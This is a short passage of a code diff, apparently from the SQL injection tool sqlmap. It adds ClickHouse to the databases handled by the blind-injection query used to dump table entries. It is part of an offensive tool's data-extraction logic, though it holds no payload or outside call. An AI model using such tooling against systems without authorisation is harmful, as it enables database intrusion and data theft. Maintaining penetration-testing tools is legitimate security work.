                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
--- a/plugins/generic/entries.py
+++ b/plugins/generic/entries.py
@ -408,7 +408,7 @@ class Entries(object):
                                    if column not in entries:
                                        entries[column] = BigArray()

-                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
+                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)